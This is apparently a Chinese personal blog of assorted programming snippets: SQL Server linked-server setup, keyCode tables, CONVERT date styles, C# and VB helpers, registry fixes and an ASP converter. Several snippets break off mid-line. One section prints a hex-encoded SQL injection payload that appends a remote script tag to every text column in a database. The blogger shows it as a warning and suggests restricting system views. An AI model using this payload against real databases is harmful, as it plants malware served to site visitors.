青蛙跳跳跳

本空间的代码和解决方法不全是原创,只是我自己认为有用和用的着的!有出处的我会注明!希望大家能找到需要的,有好的方法可以讨论研究一下,互相学习提高!!!

Exec sp_droplinkedsrvlogin DBVIP,Null       --删除映射(录与链接服务器上远程登录之间的映射)

Exec sp_dropserver DBVIP                         --删除远程服务器链接

EXEC  sp_addlinkedserver

      @server='DBVIP',--被访问的服务器别名 

      @srvproduct='',

      @provider='SQLOLEDB',

      @datasrc="/Server2"   --要访问的服务器

EXEC sp_addlinkedsrvlogin

     'DBVIP', --被访问的服务器别名

     'false',

     NULL,

     'sa', --帐号

     'thankyoubobby' --密码

字母和数字键的键码值(keyCode)

按键 键码 按键 键码 按键 键码 按键 键码

A 65 J 74 S 83 1 49

B 66 K 75 T 84 2 50

C 67 L 76 U 85 3 51

D 68 M 77 V 86 4 52

E 69 N 78 W 87 5 53

F 70 O 79 X 88 6 54

G 71 P 80 Y 89 7 55

H 72 Q 81 Z 90 8 56

I 73 R 82 0 48 9 57

数字键盘上的键的键码值(keyCode) 功能键键码值(keyCode)

按键 键码 按键 键码 按键 键码 按键 键码

0 48 8 56 F1 112 F7 118

1 49 9 57 F2 113 F8 119

2 50 * 42 F3 114 F9 120

3 51 + 43 F4 115 F10 121

4 52 Enter 13 F5 116 F11 122

5 53 - 45 F6 117 F12 123

6 54 . 46    

7 55 / 47    

控制键键码值(keyCode)

按键 键码 按键 键码 按键 键码 按键 键码

BackSpace 8 Esc 27 Right Arrow 39 -_ 189

Tab 9 Spacebar 32 Dw Arrow 40 .> 190

Clear 12 Page Up 33 Insert 45 /? 191

Enter 13 Page Down 34 Delete 46 `~ 192

Shift 16 End 35 Num Lock 144 [{ 219

Control 17 Home 36 ;: 186 \| 220

Alt 18 Left Arrow 37 =+ 187 ]} 221

Cape Lock 20 Up Arrow 38 ,< 188 '" 222

多媒体键码值(keyCode)

按键 键码 按键 键码 按键 键码 按键 键码

音量加 175      

音量减 174      

停止 179      

静音 173      

浏览器 172      

邮件 180      

搜索 170      

收藏 171

(转载)SQL Convert 时间截取(转化)样式

SELECT CONVERT(varchar(100), GETDATE(), 0): 05 16 2006 10:57AM

SELECT CONVERT(varchar(100), GETDATE(), 1): 05/16/06

SELECT CONVERT(varchar(100), GETDATE(), 2): 06.05.16

SELECT CONVERT(varchar(100), GETDATE(), 3): 16/05/06

SELECT CONVERT(varchar(100), GETDATE(), 4): 16.05.06

SELECT CONVERT(varchar(100), GETDATE(), 5): 16-05-06

SELECT CONVERT(varchar(100), GETDATE(), 6): 16 05 06

SELECT CONVERT(varchar(100), GETDATE(), 7): 05 16, 06

SELECT CONVERT(varchar(100), GETDATE(), 8): 10:57:46

SELECT CONVERT(varchar(100), GETDATE(), 9): 05 16 2006 10:57:46:827AM

SELECT CONVERT(varchar(100), GETDATE(), 10): 05-16-06

SELECT CONVERT(varchar(100), GETDATE(), 11): 06/05/16

SELECT CONVERT(varchar(100), GETDATE(), 12): 060516

SELECT CONVERT(varchar(100), GETDATE(), 13): 16 05 2006 10:57:46:937

SELECT CONVERT(varchar(100), GETDATE(), 14): 10:57:46:967

SELECT CONVERT(varchar(100), GETDATE(), 20): 2006-05-16 10:57:47

SELECT CONVERT(varchar(100), GETDATE(), 21): 2006-05-16 10:57:47.157

SELECT CONVERT(varchar(100), GETDATE(), 22): 05/16/06 10:57:47 AM

SELECT CONVERT(varchar(100), GETDATE(), 23): 2006-05-16

SELECT CONVERT(varchar(100), GETDATE(), 24): 10:57:47

SELECT CONVERT(varchar(100), GETDATE(), 25): 2006-05-16 10:57:47.250

SELECT CONVERT(varchar(100), GETDATE(), 100): 05 16 2006 10:57AM

SELECT CONVERT(varchar(100), GETDATE(), 101): 05/16/2006

SELECT CONVERT(varchar(100), GETDATE(), 102): 2006.05.16

SELECT CONVER

public static string CutString(string inputString, int len)

{

ASCIIEncoding ascii = new ASCIIEncoding();

int tempLen = 0;

string tempString = "";

byte[] s = ascii.GetBytes(inputString);

for (int i = 0; i < s.Length; i++)

{

    if ((int)s[i] == 63)

    {

 tempLen += 2;

    }

    else

    {

 tempLen += 1;

    }

    try

    {

 tempString += inputString.Substring(i, 1);

    }

    catch

    {

 break;

    }

    if (tempLen > len)

 break;

}

//如果截过则加上半个省略号

byte[] mybyte = System.Text.Encoding.Default.GetBytes(inputString);

if (mybyte.Length > len)

    tempString += "…";

return tempString;

}

dEcLaRe @S VaRcHaR(4000)

SeT @s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 aS VaRcHaR(4000));

print(@s)

大家看下自己的程序,是否能防止此类注入呢?编写防注入方法的时候,借鉴一下!

解决方法是:我目前排查程序不现实,所以只能从根本解决这个问题,给系统中的两个视图的权限去掉

sysobjects ,syscolumns

其他方法暂时不可行,因为排查程序工程量太大!

c#字符串的分割

C#中Split分隔字符串的应用(C#、split、分隔、字符串)

1、用字符串分隔:

string str = "aaaaaaaaajsbbbbbbbbbbb";

string[] strArr = Regex.Split(str, "js", RegexOptions.IgnoreCase);

foreach (string strC in strArr)

{

    Console.Write(strC);

    Console.WriteLine();

2、用多个字符来分隔:

string strMulti = "aaaaajbbbbbbbbbbbbsccccccccccc";

string[] strMultiArr = strMulti.Split(new char[2] { 'j', 's' });

foreach (string strC in strMultiArr)

{

    Console.Write(strC);

    Console.WriteLine();

}

3、用单个字符来分隔:

string strSingle = "ajbjc";

string[] strSingleArr = strSingle.Split('j');

foreach (string strC in strSingleArr)

{

    Console.Write(strC);

    Console.WriteLine();

}

Console.ReadLine();

Private Sub Command1_Click()

    Picture1.Picture = LoadPicture("")

    Call PrintBarCode1(Text1)

    Picture1.Print

    'Printer.PaintPicture Picture1.Image, 200, Picture1.Top + 1000

End Sub

Private Sub PrintBarCode1( _

     ByVal strBarCode As String, _

     Optional ByVal intXPos As Integer = 10, _

     Optional ByVal intYPos As Integer = 10, _

     Optional ByVal intPrintHeight As Integer = 5, _

     Optional ByVal bolPrintText As Boolean = False _

)

'注释: 参数说明:

'注释: strBarCode -要打印的条形码字符串

'注释: intXPos, intYPos - 打印条形码的左上角坐标(缺省为(0,0),坐标刻度为:毫米)

'注释: intHeight     - 打印高度(缺省为一厘米,坐标刻度为:毫米)

'注释: bolPrintText -是否打印人工识别字符(缺省为true)

'注释: "0"-"9","A-Z","-","%","$"和"*" 的条码编码格式,总共 40 个字符

Static strBarTable(39) As String

'注释: 初始化条码编码格式表

     strBarTable(0) = "001100100"     '注释: 0

     strBarTable(1) = "100010100"     '注释: 1

  &n

1、单击“开始>运行,然后输入regedit,打开注册表编辑器。

2、依次展开:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace

在左边空白外点击“新建”,选择“项”,重命名为“{5FFO40-5081-101B-9F08-00AA002F954E}”

再把右边的“默认”的主键的键值设为“回收站”,然后退出注册表。就OK啦。

javascript:resizepic(this) border=undefined twffan="done">

或者直接将下面代码拷贝到记事本中,保存为“回收站.reg”文件,双击导入到注册表中也是一样的:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{5FFO40-5081-101B-9F08-00AA002F954E}]

@="回收站"

3、重启计算机

只要你机器没有运行过磁盘整理,找回本删除并在收藏夹情况的机会很大!

MSN Live Message 2009 错误代码8000401a 登陆不上去

解决方法

     把注册表HKEY_CLASSES_ROOT\AppID\下面的380689D0-AFAA-47E6-B80E-A33436FE314B 删除即可。

批处理方法:

@echo off

reg delete "HKEY_CLASSES_ROOT\AppID\{380689D0-AFAA-47E6-B80E-A33436FE314B}" /va /f

保存为BAT问题类型.

注册表导入法:

Windows Registry Editor Version 5.00

[-HKEY_CLASSES_ROOT\AppID\{380689D0-AFAA-47E6-B80E-A33436FE314B}]

保存为REG文件类型.

<%

Function DBC2SBC(Str, flag)

rem 全角半角转换函数

rem flag=-1时进行半角转全角

rem flag=0时进行半角全角互转

rem flag=1时进行全角转半角

Dim i, sStr

If Len(Str)<= 0 Then Exit Function

DBC2SBC = ""

For i = 1 To Len(Str)

sStr = Asc(Mid(Str, i, 1))

Select Case flag

Case -1

If sStr>0 And sStr<= 125 Then

DBC2SBC = DBC2SBC & Chr(Asc(Mid(Str, i, 1)) -23680)

Else

DBC2SBC = DBC2SBC & Mid(Str, i, 1)

End If

Case 0

If sStr>0 And sStr<= 125 Then

DBC2SBC = DBC2SBC & Chr(Asc(Mid(Str, i, 1)) -23680)

Else

DBC2SBC = DBC2SBC & Chr(Asc(Mid(Str, i, 1)) + 23680)

End If

Case 1

If sStr<0 Or sStr>125 Then

DBC2SBC = DBC2SBC & Chr(Asc(Mid(Str, i, 1)) + 23680)

Else

DBC2SBC = DBC2SBC & Mid(Str, i, 1)

End If

End Select

Next

End Function

%>